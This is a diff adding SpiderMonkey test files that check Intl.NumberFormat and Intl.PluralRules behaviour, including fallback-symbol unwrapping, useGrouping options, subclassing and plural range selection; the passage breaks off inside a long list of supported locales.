diff --git a/js/src/tests/non262/Intl/NumberFormat/unwrapping.js b/js/src/tests/non262/Intl/NumberFormat/unwrapping.js
new file mode 100644
index 0000000000..df0b15d6fc
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/unwrapping.js
@@ -0,0 +1,248 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Test UnwrapNumberFormat operation.
+
+const numberFormatFunctions = [];
+numberFormatFunctions.push({
+ function: Intl.NumberFormat.prototype.resolvedOptions,
+ unwrap: true,
+});
+numberFormatFunctions.push({
+ function: Object.getOwnPropertyDescriptor(Intl.NumberFormat.prototype, "format").get,
+ unwrap: true,
+});
+numberFormatFunctions.push({
+ function: Intl.NumberFormat.prototype.formatToParts,
+ unwrap: false,
+});
+
+function IsIntlService(c) {
+ return typeof c === "function" &&
+ c.hasOwnProperty("prototype") &&
+ c.prototype.hasOwnProperty("resolvedOptions");
+}
+
+function IsObject(o) {
+ return Object(o) === o;
+}
+
+function IsPrimitive(o) {
+ return Object(o) !== o;
+}
+
+function intlObjects(ctor) {
+ let args = [];
+ if (ctor === Intl.DisplayNames) {
+ // Intl.DisplayNames can't be constructed without any arguments.
+ args = [undefined, {type: "language"}];
+ }
+
+ return [
+ // Instance of an Intl constructor.
+ new ctor(...args),
+
+ // Instance of a subclassed Intl constructor.
+ new class extends ctor {}(...args),
+
+ // Intl object not inheriting from its default prototype.
+ Object.setPrototypeOf(new ctor(...args), Object.prototype),
+ ];
+}
+
+function thisValues(C) {
+ const intlConstructors = Object.getOwnPropertyNames(Intl).map(name => Intl[name]).filter(IsIntlService);
+
+ return [
+ // Primitive values.
+ ...[undefined, null, true, "abc", Symbol(), 123],
+
+ // Object values.
+ ...[{}, [], /(?:)/, function(){}, new Proxy({}, {})],
+
+ // Intl objects.
+ ...[].concat(...intlConstructors.filter(ctor => ctor !== C).map(intlObjects)),
+
+ // Object inheriting from an Intl constructor prototype.
+ ...intlConstructors.map(ctor => Object.create(ctor.prototype)),
+ ];
+}
+
+const intlFallbackSymbol = Object.getOwnPropertySymbols(Intl.NumberFormat.call(Object.create(Intl.NumberFormat.prototype)))[0];
+
+// Test Intl.NumberFormat.prototype methods.
+for (let {function: numberFormatFunction, unwrap} of numberFormatFunctions) {
+ // Test a TypeError is thrown when the this-value isn't an initialized
+ // Intl.NumberFormat instance.
+ for (let thisValue of thisValues(Intl.NumberFormat)) {
+ assertThrowsInstanceOf(() => numberFormatFunction.call(thisValue), TypeError);
+ }
+
+ // And test no error is thrown for initialized Intl.NumberFormat instances.
+ for (let thisValue of intlObjects(Intl.NumberFormat)) {
+ numberFormatFunction.call(thisValue);
+ }
+
+ // Manually add [[FallbackSymbol]] to objects and then repeat the tests from above.
+ for (let thisValue of thisValues(Intl.NumberFormat)) {
+ assertThrowsInstanceOf(() => numberFormatFunction.call({
+ __proto__: Intl.NumberFormat.prototype,
+ [intlFallbackSymbol]: thisValue,
+ }), TypeError);
+ }
+
+ for (let thisValue of intlObjects(Intl.NumberFormat)) {
+ let obj = {
+ __proto__: Intl.NumberFormat.prototype,
+ [intlFallbackSymbol]: thisValue,
+ };
+ if (unwrap) {
+ numberFormatFunction.call(obj);
+ } else {
+ assertThrowsInstanceOf(() => numberFormatFunction.call(obj), TypeError);
+ }
+ }
+
+ // Ensure [[FallbackSymbol]] isn't retrieved for Intl.NumberFormat instances.
+ for (let thisValue of intlObjects(Intl.NumberFormat)) {
+ Object.defineProperty(thisValue, intlFallbackSymbol, {
+ get() { assertEq(false, true); }
+ });
+ numberFormatFunction.call(thisValue);
+ }
+
+ // Ensure [[FallbackSymbol]] is only retrieved for objects inheriting from Intl.NumberFormat.prototype.
+ for (let thisValue of thisValues(Intl.NumberFormat).filter(IsObject)) {
+ if (Intl.NumberFormat.prototype.isPrototypeOf(thisValue))
+ continue;
+ Object.defineProperty(thisValue, intlFallbackSymbol, {
+ get() { assertEq(false, true); }
+ });
+ assertThrowsInstanceOf(() => numberFormatFunction.call(thisValue), TypeError);
+ }
+
+ // Repeat the test from above, but also change Intl.NumberFormat[@@hasInstance]
+ // so it always returns |true|.
+ for (let thisValue of thisValues(Intl.NumberFormat).filter(IsObject)) {
+ let isPrototypeOf = Intl.NumberFormat.prototype.isPrototypeOf(thisValue);
+ let hasInstanceCalled = false, symbolGetterCalled = false;
+ Object.defineProperty(Intl.NumberFormat, Symbol.hasInstance, {
+ value() {
+ assertEq(hasInstanceCalled, false);
+ hasInstanceCalled = true;
+ return true;
+ }, configurable: true
+ });
+ Object.defineProperty(thisValue, intlFallbackSymbol, {
+ get() {
+ assertEq(symbolGetterCalled, false);
+ symbolGetterCalled = true;
+ return null;
+ }, configurable: true
+ });
+
+ assertThrowsInstanceOf(() => numberFormatFunction.call(thisValue), TypeError);
+
+ delete Intl.NumberFormat[Symbol.hasInstance];
+
+ assertEq(hasInstanceCalled, false);
+ assertEq(symbolGetterCalled, unwrap && isPrototypeOf);
+ }
+
+ // Test with primitive values.
+ for (let thisValue of thisValues(Intl.NumberFormat).filter(IsPrimitive)) {
+ // Ensure @@hasInstance is not called.
+ Object.defineProperty(Intl.NumberFormat, Symbol.hasInstance, {
+ value() { assertEq(true, false); }, configurable: true
+ });
+ let isUndefinedOrNull = thisValue === undefined || thisValue === null;
+ let symbolHolder;
+ if (!isUndefinedOrNull) {
+ // Ensure the fallback symbol isn't retrieved from the primitive wrapper prototype.
+ symbolHolder = Object.getPrototypeOf(thisValue);
+ Object.defineProperty(symbolHolder, intlFallbackSymbol, {
+ get() { assertEq(true, false); }, configurable: true
+ });
+ }
+
+ assertThrowsInstanceOf(() => numberFormatFunction.call(thisValue), TypeError);
+
+ delete Intl.NumberFormat[Symbol.hasInstance];
+ if (!isUndefinedOrNull)
+ delete symbolHolder[intlFallbackSymbol];
+ }
+}
+
+// Test format() returns the correct result for objects initialized as Intl.NumberFormat instances.
+{
+ // An actual Intl.NumberFormat instance.
+ let numberFormat = new Intl.NumberFormat();
+
+ // An object initialized as a NumberFormat instance.
+ let thisValue = Object.create(Intl.NumberFormat.prototype);
+ Intl.NumberFormat.call(thisValue);
+
+ // Object with [[FallbackSymbol]] set to NumberFormat instance.
+ let fakeObj = {
+ __proto__: Intl.NumberFormat.prototype,
+ [intlFallbackSymbol]: numberFormat,
+ };
+
+ for (let number of [0, 1, 1.5, Infinity, NaN]) {
+ let expected = numberFormat.format(number);
+ assertEq(thisValue.format(number), expected);
+ assertEq(thisValue[intlFallbackSymbol].format(number), expected);
+ assertEq(fakeObj.format(number), expected);
+ }
+}
+
+// Ensure formatToParts() doesn't use the fallback semantics.
+{
+ let formatToParts = Intl.NumberFormat.prototype.formatToParts;
+
+ // An object initialized as a NumberFormat instance.
+ let thisValue = Object.create(Intl.NumberFormat.prototype);
+ Intl.NumberFormat.call(thisValue);
+ assertThrowsInstanceOf(() => formatToParts.call(thisValue), TypeError);
+
+ // Object with [[FallbackSymbol]] set to NumberFormat instance.
+ let fakeObj = {
+ __proto__: Intl.NumberFormat.prototype,
+ [intlFallbackSymbol]: new Intl.NumberFormat(),
+ };
+ assertThrowsInstanceOf(() => formatToParts.call(fakeObj), TypeError);
+}
+
+// Test resolvedOptions() returns the same results.
+{
+ // An actual Intl.NumberFormat instance.
+ let numberFormat = new Intl.NumberFormat();
+
+ // An object initialized as a NumberFormat instance.
+ let thisValue = Object.create(Intl.NumberFormat.prototype);
+ Intl.NumberFormat.call(thisValue);
+
+ // Object with [[FallbackSymbol]] set to NumberFormat instance.
+ let fakeObj = {
+ __proto__: Intl.NumberFormat.prototype,
+ [intlFallbackSymbol]: numberFormat,
+ };
+
+ function assertEqOptions(actual, expected) {
+ actual = Object.entries(actual);
+ expected = Object.entries(expected);
+
+ assertEq(actual.length, expected.length, "options count mismatch");
+ for (var i = 0; i < expected.length; i++) {
+ assertEq(actual[i][0], expected[i][0], "key mismatch at " + i);
+ assertEq(actual[i][1], expected[i][1], "value mismatch at " + i);
+ }
+ }
+
+ let expected = numberFormat.resolvedOptions();
+ assertEqOptions(thisValue.resolvedOptions(), expected);
+ assertEqOptions(thisValue[intlFallbackSymbol].resolvedOptions(), expected);
+ assertEqOptions(fakeObj.resolvedOptions(), expected);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/use-grouping-bool-string.js b/js/src/tests/non262/Intl/NumberFormat/use-grouping-bool-string.js
new file mode 100644
index 0000000000..4216c874f0
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/use-grouping-bool-string.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+let nf1 = new Intl.NumberFormat("en", {useGrouping: "true"});
+assertEq(nf1.format(1000), "1,000");
+
+let nf2 = new Intl.NumberFormat("en", {useGrouping: "false"});
+assertEq(nf2.format(1000), "1,000");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/use-grouping.js b/js/src/tests/non262/Intl/NumberFormat/use-grouping.js
new file mode 100644
index 0000000000..8fcb2fb51e
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/use-grouping.js
@@ -0,0 +1,97 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||release_or_beta)
+
+const tests = {
+ // minimumGroupingDigits is one for "en" (English).
+ "en": {
+ values: [
+ {
+ value: 1000,
+ useGroupings: {
+ auto: "1,000",
+ always: "1,000",
+ min2: "1000",
+ "": "1000",
+ },
+ },
+ {
+ value: 10000,
+ useGroupings: {
+ auto: "10,000",
+ always: "10,000",
+ min2: "10,000",
+ "": "10000",
+ },
+ },
+ ],
+ },
+
+ // minimumGroupingDigits is two for "pl" (Polish).
+ "pl": {
+ values: [
+ {
+ value: 1000,
+ useGroupings: {
+ auto: "1000",
+ always: "1 000",
+ min2: "1000",
+ "": "1000",
+ },
+ },
+ {
+ value: 10000,
+ useGroupings: {
+ auto: "10 000",
+ always: "10 000",
+ min2: "10 000",
+ "": "10000",
+ },
+ },
+ ],
+ },
+};
+
+for (let [locale, {options = {}, values}] of Object.entries(tests)) {
+ for (let {value, useGroupings} of values) {
+ for (let [useGrouping, expected] of Object.entries(useGroupings)) {
+ let nf = new Intl.NumberFormat(locale, {...options, useGrouping});
+ assertEq(nf.format(value), expected, `locale=${locale}, value=${value}, useGrouping=${useGrouping}`);
+ }
+ }
+}
+
+// Resolved options.
+for (let [useGrouping, expected] of [
+ [false, false],
+ ["", false],
+ [0, false],
+ [null, false],
+
+ ["auto", "auto"],
+ [undefined, "auto"],
+
+ ["always", "always"],
+ [true, "always"],
+
+ ["min2", "min2"],
+
+ // Unsupported values fallback to "auto"
+ ["true", "auto"],
+ ["false", "auto"],
+ ["none", "auto"],
+ ["yes", "auto"],
+ ["no", "auto"],
+ [{}, "auto"],
+ [123, "auto"],
+ [123n, "auto"],
+]) {
+ let nf = new Intl.NumberFormat("en", {useGrouping});
+ assertEq(nf.resolvedOptions().useGrouping , expected);
+}
+
+// Throws a TypeError if ToString fails.
+for (let useGrouping of [Object.create(null), Symbol()]) {
+ assertThrowsInstanceOf(() => new Intl.NumberFormat("en", {useGrouping}), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/PluralRules/browser.js b/js/src/tests/non262/Intl/PluralRules/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/browser.js
diff --git a/js/src/tests/non262/Intl/PluralRules/call.js b/js/src/tests/non262/Intl/PluralRules/call.js
new file mode 100644
index 0000000000..9412fa44d0
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/call.js
@@ -0,0 +1,53 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+function IsIntlService(c) {
+ return typeof c === "function" &&
+ c.hasOwnProperty("prototype") &&
+ c.prototype.hasOwnProperty("resolvedOptions");
+}
+
+function thisValues() {
+ const intlConstructors = Object.getOwnPropertyNames(Intl).map(name => Intl[name]).filter(IsIntlService);
+
+ return [
+ // Primitive values.
+ ...[undefined, null, true, "abc", Symbol(), 123],
+
+ // Object values.
+ ...[{}, [], /(?:)/, function(){}, new Proxy({}, {})],
+
+ // Intl objects.
+ ...[].concat(...intlConstructors.map(ctor => {
+ let args = [];
+ if (ctor === Intl.DisplayNames) {
+ // Intl.DisplayNames can't be constructed without any arguments.
+ args = [undefined, {type: "language"}];
+ }
+
+ return [
+ // Instance of an Intl constructor.
+ new ctor(...args),
+
+ // Instance of a subclassed Intl constructor.
+ new class extends ctor {}(...args),
+
+ // Object inheriting from an Intl constructor prototype.
+ Object.create(ctor.prototype),
+
+ // Intl object not inheriting from its default prototype.
+ Object.setPrototypeOf(new ctor(...args), Object.prototype),
+ ];
+ })),
+ ];
+}
+
+// Intl.PluralRules cannot be invoked as a function.
+assertThrowsInstanceOf(() => Intl.PluralRules(), TypeError);
+
+// Also test with explicit this-value.
+for (let thisValue of thisValues()) {
+ assertThrowsInstanceOf(() => Intl.PluralRules.call(thisValue), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/PluralRules/construct-newtarget.js b/js/src/tests/non262/Intl/PluralRules/construct-newtarget.js
new file mode 100644
index 0000000000..356c2dd221
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/construct-newtarget.js
@@ -0,0 +1,76 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Test subclassing %Intl.PluralRules% works correctly.
+class MyPluralRules extends Intl.PluralRules {}
+
+var obj = new MyPluralRules();
+assertEq(obj instanceof MyPluralRules, true);
+assertEq(obj instanceof Intl.PluralRules, true);
+assertEq(Object.getPrototypeOf(obj), MyPluralRules.prototype);
+
+obj = Reflect.construct(MyPluralRules, []);
+assertEq(obj instanceof MyPluralRules, true);
+assertEq(obj instanceof Intl.PluralRules, true);
+assertEq(Object.getPrototypeOf(obj), MyPluralRules.prototype);
+
+obj = Reflect.construct(MyPluralRules, [], MyPluralRules);
+assertEq(obj instanceof MyPluralRules, true);
+assertEq(obj instanceof Intl.PluralRules, true);
+assertEq(Object.getPrototypeOf(obj), MyPluralRules.prototype);
+
+obj = Reflect.construct(MyPluralRules, [], Intl.PluralRules);
+assertEq(obj instanceof MyPluralRules, false);
+assertEq(obj instanceof Intl.PluralRules, true);
+assertEq(Object.getPrototypeOf(obj), Intl.PluralRules.prototype);
+
+
+// Set a different constructor as NewTarget.
+obj = Reflect.construct(MyPluralRules, [], Array);
+assertEq(obj instanceof MyPluralRules, false);
+assertEq(obj instanceof Intl.PluralRules, false);
+assertEq(obj instanceof Array, true);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+obj = Reflect.construct(Intl.PluralRules, [], Array);
+assertEq(obj instanceof Intl.PluralRules, false);
+assertEq(obj instanceof Array, true);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+
+// The prototype defaults to %PluralRulesPrototype% if null.
+function NewTargetNullPrototype() {}
+NewTargetNullPrototype.prototype = null;
+
+obj = Reflect.construct(Intl.PluralRules, [], NewTargetNullPrototype);
+assertEq(obj instanceof Intl.PluralRules, true);
+assertEq(Object.getPrototypeOf(obj), Intl.PluralRules.prototype);
+
+obj = Reflect.construct(MyPluralRules, [], NewTargetNullPrototype);
+assertEq(obj instanceof MyPluralRules, false);
+assertEq(obj instanceof Intl.PluralRules, true);
+assertEq(Object.getPrototypeOf(obj), Intl.PluralRules.prototype);
+
+
+// "prototype" property is retrieved exactly once.
+var trapLog = [], getLog = [];
+var ProxiedConstructor = new Proxy(Intl.PluralRules, new Proxy({
+ get(target, propertyKey, receiver) {
+ getLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}, {
+ get(target, propertyKey, receiver) {
+ trapLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}));
+
+obj = Reflect.construct(Intl.PluralRules, [], ProxiedConstructor);
+assertEqArray(trapLog, ["get"]);
+assertEqArray(getLog, ["prototype"]);
+assertEq(obj instanceof Intl.PluralRules, true);
+assertEq(Object.getPrototypeOf(obj), Intl.PluralRules.prototype);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/PluralRules/cross-compartment.js b/js/src/tests/non262/Intl/PluralRules/cross-compartment.js
new file mode 100644
index 0000000000..ff59f35957
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/cross-compartment.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+var otherGlobal = newGlobal();
+
+var pluralRules = new Intl.PluralRules();
+var ccwPluralRules = new otherGlobal.Intl.PluralRules();
+
+// Test Intl.PluralRules.prototype.select with a CCW object.
+var Intl_PluralRules_select = Intl.PluralRules.prototype.select;
+
+assertEq(Intl_PluralRules_select.call(ccwPluralRules, 0),
+ Intl_PluralRules_select.call(pluralRules, 0));
+
+// Test Intl.PluralRules.prototype.resolvedOptions with a CCW object.
+var Intl_PluralRules_resolvedOptions = Intl.PluralRules.prototype.resolvedOptions;
+
+assertEq(deepEqual(Intl_PluralRules_resolvedOptions.call(ccwPluralRules),
+ Intl_PluralRules_resolvedOptions.call(pluralRules)),
+ true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/PluralRules/negativeZeroFractionDigits.js b/js/src/tests/non262/Intl/PluralRules/negativeZeroFractionDigits.js
new file mode 100644
index 0000000000..615e533466
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/negativeZeroFractionDigits.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const optionsList = [
+ {minimumFractionDigits: -0, maximumFractionDigits: -0},
+ {minimumFractionDigits: -0, maximumFractionDigits: +0},
+ {minimumFractionDigits: +0, maximumFractionDigits: -0},
+ {minimumFractionDigits: +0, maximumFractionDigits: +0},
+];
+
+for (let options of optionsList) {
+ let pluralRules = new Intl.PluralRules("en-US", options);
+
+ let {minimumFractionDigits, maximumFractionDigits} = pluralRules.resolvedOptions();
+ assertEq(minimumFractionDigits, +0);
+ assertEq(maximumFractionDigits, +0);
+
+ assertEq(pluralRules.select(123), "other");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/PluralRules/pluralrules.js b/js/src/tests/non262/Intl/PluralRules/pluralrules.js
new file mode 100644
index 0000000000..20d6117b3b
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/pluralrules.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Tests the format function with a diverse set of locales and options.
+
+var pr;
+
+pr = new Intl.PluralRules("en-us");
+assertEq(pr.resolvedOptions().locale, "en-US");
+assertEq(pr.resolvedOptions().type, "cardinal");
+assertEq(pr.resolvedOptions().pluralCategories.length, 2);
+
+pr = new Intl.PluralRules("de", {type: 'cardinal'});
+assertEq(pr.resolvedOptions().pluralCategories.length, 2);
+
+pr = new Intl.PluralRules("de", {type: 'ordinal'});
+assertEq(pr.resolvedOptions().pluralCategories.length, 1);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/PluralRules/resolvedOptions-overridden-species.js b/js/src/tests/non262/Intl/PluralRules/resolvedOptions-overridden-species.js
new file mode 100644
index 0000000000..3591aba32b
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/resolvedOptions-overridden-species.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Tests the PluralRules.resolvedOptions function for overriden Array[Symbol.species].
+
+var pl = new Intl.PluralRules("de");
+
+Object.defineProperty(Array, Symbol.species, {
+ value: function() {
+ return new Proxy(["?"], {
+ get(t, pk, r) {
+ return Reflect.get(t, pk, r);
+ },
+ defineProperty(t, pk) {
+ return true;
+ }
+ });
+ }
+});
+
+var pluralCategories = pl.resolvedOptions().pluralCategories;
+
+assertEqArray(pluralCategories, ["one", "other"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/PluralRules/rounding.js b/js/src/tests/non262/Intl/PluralRules/rounding.js
new file mode 100644
index 0000000000..6f9b5f9936
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/rounding.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// The rounding mode defaults to half-up for both NumberFormat and PluralRules.
+
+var locale = "en";
+var options = {maximumFractionDigits: 0};
+
+assertEq(new Intl.NumberFormat(locale, options).format(0), "0");
+assertEq(new Intl.NumberFormat(locale, options).format(0.5), "1");
+assertEq(new Intl.NumberFormat(locale, options).format(1), "1");
+
+assertEq(new Intl.PluralRules(locale, options).select(0), "other");
+assertEq(new Intl.PluralRules(locale, options).select(0.5), "one");
+assertEq(new Intl.PluralRules(locale, options).select(1), "one");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/PluralRules/select.js b/js/src/tests/non262/Intl/PluralRules/select.js
new file mode 100644
index 0000000000..dcc057ec3c
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/select.js
@@ -0,0 +1,63 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+// Tests the format function with a diverse set of locales and options.
+
+var pr;
+
+pr = new Intl.PluralRules("en-us");
+assertEq(pr.select(0), "other");
+assertEq(pr.select(0.5), "other");
+assertEq(pr.select(1.2), "other");
+assertEq(pr.select(1.5), "other");
+assertEq(pr.select(1.7), "other");
+assertEq(pr.select(-1), "one");
+assertEq(pr.select(1), "one");
+assertEq(pr.select("1"), "one");
+assertEq(pr.select(123456789.123456789), "other");
+
+pr = new Intl.PluralRules("de", {type: "cardinal"});
+assertEq(pr.select(0), "other");
+assertEq(pr.select(0.5), "other");
+assertEq(pr.select(1.2), "other");
+assertEq(pr.select(1.5), "other");
+assertEq(pr.select(1.7), "other");
+assertEq(pr.select(-1), "one");
+
+pr = new Intl.PluralRules("de", {type: "ordinal"});
+assertEq(pr.select(0), "other");
+assertEq(pr.select(0.5), "other");
+assertEq(pr.select(1.2), "other");
+assertEq(pr.select(1.5), "other");
+assertEq(pr.select(1.7), "other");
+assertEq(pr.select(-1), "other");
+
+pr = new Intl.PluralRules("pl", {type: "cardinal"});
+assertEq(pr.select(0), "many");
+assertEq(pr.select(0.5), "other");
+assertEq(pr.select(1), "one");
+
+pr = new Intl.PluralRules("pl", {type: "cardinal", maximumFractionDigits: 0});
+assertEq(pr.select(1.1), "one");
+
+pr = new Intl.PluralRules("pl", {type: "cardinal", maximumFractionDigits: 1});
+assertEq(pr.select(1.1), "other");
+
+pr = new Intl.PluralRules("en", {type: "cardinal", minimumFractionDigits: 0});
+assertEq(pr.select(1), "one");
+
+pr = new Intl.PluralRules("en", {type: "cardinal", minimumFractionDigits: 2});
+assertEq(pr.select(1), "other");
+
+var weirdCases = [
+ NaN,
+ Infinity,
+ "word",
+ [0,2],
+ {},
+];
+
+for (let c of weirdCases) {
+ assertEq(pr.select(c), "other");
+};
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/PluralRules/selectRange.js b/js/src/tests/non262/Intl/PluralRules/selectRange.js
new file mode 100644
index 0000000000..59faf621e2
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/selectRange.js
@@ -0,0 +1,84 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||release_or_beta)
+
+// Any combination returns "other" for "en-US".
+{
+ let numbers = [0, 0.5, 1.2, 1.5, 1.7, -1, 1, "1", 123456789.123456789, Infinity, -Infinity];
+
+ const weirdCases = [
+ NaN,
+ "word",
+ [0, 2],
+ {},
+ ];
+
+ for (let type of ["ordinal", "cardinal"]) {
+ let pr = new Intl.PluralRules("en-US", {type});
+ for (let start of numbers) {
+ for (let end of numbers) {
+ assertEq(pr.selectRange(start, end), "other");
+ }
+ }
+
+ for (let c of weirdCases) {
+ assertThrowsInstanceOf(() => pr.selectRange(c, 0), RangeError);
+ assertThrowsInstanceOf(() => pr.selectRange(0, c), RangeError);
+ assertThrowsInstanceOf(() => pr.selectRange(c, c), RangeError);
+ }
+ }
+}
+
+// fr (French) returns different results.
+{
+ let ordinal = new Intl.PluralRules("fr", {type: "ordinal"});
+ let cardinal = new Intl.PluralRules("fr", {type: "cardinal"});
+
+ assertEq(ordinal.selectRange(1, 1), "one");
+ assertEq(ordinal.selectRange(0, 1), "other");
+
+ assertEq(cardinal.selectRange(1, 1), "one");
+ assertEq(cardinal.selectRange(0, 1), "one");
+}
+
+// cy (Cymraeg) can return any combination.
+{
+ let ordinal = new Intl.PluralRules("cy", {type: "ordinal"});
+
+ assertEq(ordinal.selectRange(0, 0), "other");
+ assertEq(ordinal.selectRange(0, 1), "one");
+ assertEq(ordinal.selectRange(0, 2), "two");
+ assertEq(ordinal.selectRange(0, 3), "few");
+ assertEq(ordinal.selectRange(0, 5), "many");
+ assertEq(ordinal.selectRange(0, 10), "other");
+
+ assertEq(ordinal.selectRange(1, 1), "other");
+ assertEq(ordinal.selectRange(1, 2), "two");
+ assertEq(ordinal.selectRange(1, 3), "few");
+ assertEq(ordinal.selectRange(1, 5), "many");
+ assertEq(ordinal.selectRange(1, 10), "other");
+
+ assertEq(ordinal.selectRange(2, 2), "other");
+ assertEq(ordinal.selectRange(2, 3), "few");
+ assertEq(ordinal.selectRange(2, 5), "many");
+ assertEq(ordinal.selectRange(2, 10), "other");
+
+ assertEq(ordinal.selectRange(3, 3), "other");
+ assertEq(ordinal.selectRange(3, 5), "many");
+ assertEq(ordinal.selectRange(3, 10), "other");
+
+ assertEq(ordinal.selectRange(5, 5), "other");
+ assertEq(ordinal.selectRange(5, 10), "other");
+
+ assertEq(ordinal.selectRange(10, 10), "other");
+}
+
+// BigInt inputs aren't allowed.
+{
+ let pr = new Intl.PluralRules("en-US");
+
+ assertThrowsInstanceOf(() => pr.selectRange(0, 0n), TypeError);
+ assertThrowsInstanceOf(() => pr.selectRange(0n, 0), TypeError);
+ assertThrowsInstanceOf(() => pr.selectRange(0n, 0n), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/PluralRules/shell.js b/js/src/tests/non262/Intl/PluralRules/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/shell.js
diff --git a/js/src/tests/non262/Intl/PluralRules/supportedLocalesOf.js b/js/src/tests/non262/Intl/PluralRules/supportedLocalesOf.js
new file mode 100644
index 0000000000..7c6ebe8c45
--- /dev/null
+++ b/js/src/tests/non262/Intl/PluralRules/supportedLocalesOf.js
@@ -0,0 +1,369 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||xulRuntime.shell)
+// -- test in browser only that ICU has locale data for all Mozilla languages
+
+// This array contains the locales that ICU supports in
+// number formatting whose languages Mozilla localizes Firefox into.
+// Current as of ICU 50.1.2 and Firefox March 2013.
+var locales = [
+ "af",
+ "af-NA",
+ "af-ZA",
+ "ar",
+ "ar-001",
+ "ar-AE",
+ "ar-BH",
+ "ar-DJ",
+ "ar-DZ",
+ "ar-EG",
+ "ar-EH",
+ "ar-ER",
+ "ar-IL",
+ "ar-IQ",
+ "ar-JO",
+ "ar-KM",
+ "ar-KW",
+ "ar-LB",
+ "ar-LY",
+ "ar-MA",
+ "ar-MR",
+ "ar-OM",
+ "ar-PS",
+ "ar-QA",
+ "ar-SA",
+ "ar-SD",
+ "ar-SO",
+ "ar-SY",
+ "ar-TD",
+ "ar-TN",
+ "ar-YE",
+ "as",
+ "as-IN",
+ "be",
+ "be-BY",
+ "bg",
+ "bg-BG",
+ "bn",
+ "bn-BD",
+ "bn-IN",
+ "br",
+ "br-FR",
+ "bs",
+ "bs-Cyrl",
+ "bs-Cyrl-BA",
+ "bs-Latn",
+ "bs-Latn-BA",
+ "ca",
+ "ca-AD",
+ "ca-ES",
+ "cs",
+ "cs-CZ",
+ "cy",
+ "cy-GB",
+ "da",
+ "da-DK",
+ "de",
+ "de-AT",
+ "de-BE",
+ "de-CH",
+ "de-DE",
+ "de-LI",
+ "de-LU",
+ "el",
+ "el-CY",
+ "el-GR",
+ "en",
+ "en-150",
+ "en-AG",
+ "en-AS",
+ "en-AU",
+ "en-BB",
+ "en-BE",
+ "en-BM",
+ "en-BS",
+ "en-BW",
+ "en-BZ",
+ "en-CA",
+ "en-CM",
+ "en-DM",
+ "en-FJ",
+ "en-FM",
+ "en-GB",
+ "en-GD",
+ "en-GG",
+ "en-GH",
+ "en-GI",
+ "en-GM",
+ "en-GU",
+ "en-GY",
+ "en-HK",
+ "en-IE",
+ "en-IM",
+ "en-IN",
+ "en-JE",
+ "en-JM",
+ "en-KE",
+ "en-KI",
+ "en-KN",
+ "en-KY",
+ "en-LC",
+ "en-LR",
+ "en-LS",
+ "en-MG",
+ "en-MH",
+ "en-MP",
+ "en-MT",
+ "en-MU",
+ "en-MW",
+ "en-NA",
+ "en-NG",
+ "en-NZ",
+ "en-PG",
+ "en-PH",
+ "en-PK",
+ "en-PR",
+ "en-PW",
+ "en-SB",
+ "en-SC",
+ "en-SG",
+ "en-SL",
+ "en-SS",
+ "en-SZ",
+ "en-TC",
+ "en-TO",
+ "en-TT",
+ "en-TZ",
+ "en-UG",
+ "en-UM",
+ "en-US",
+ "en-US-posix",
+ "en-VC",
+ "en-VG",
+ "en-VI",
+ "en-VU",
+ "en-WS",
+ "en-ZA",
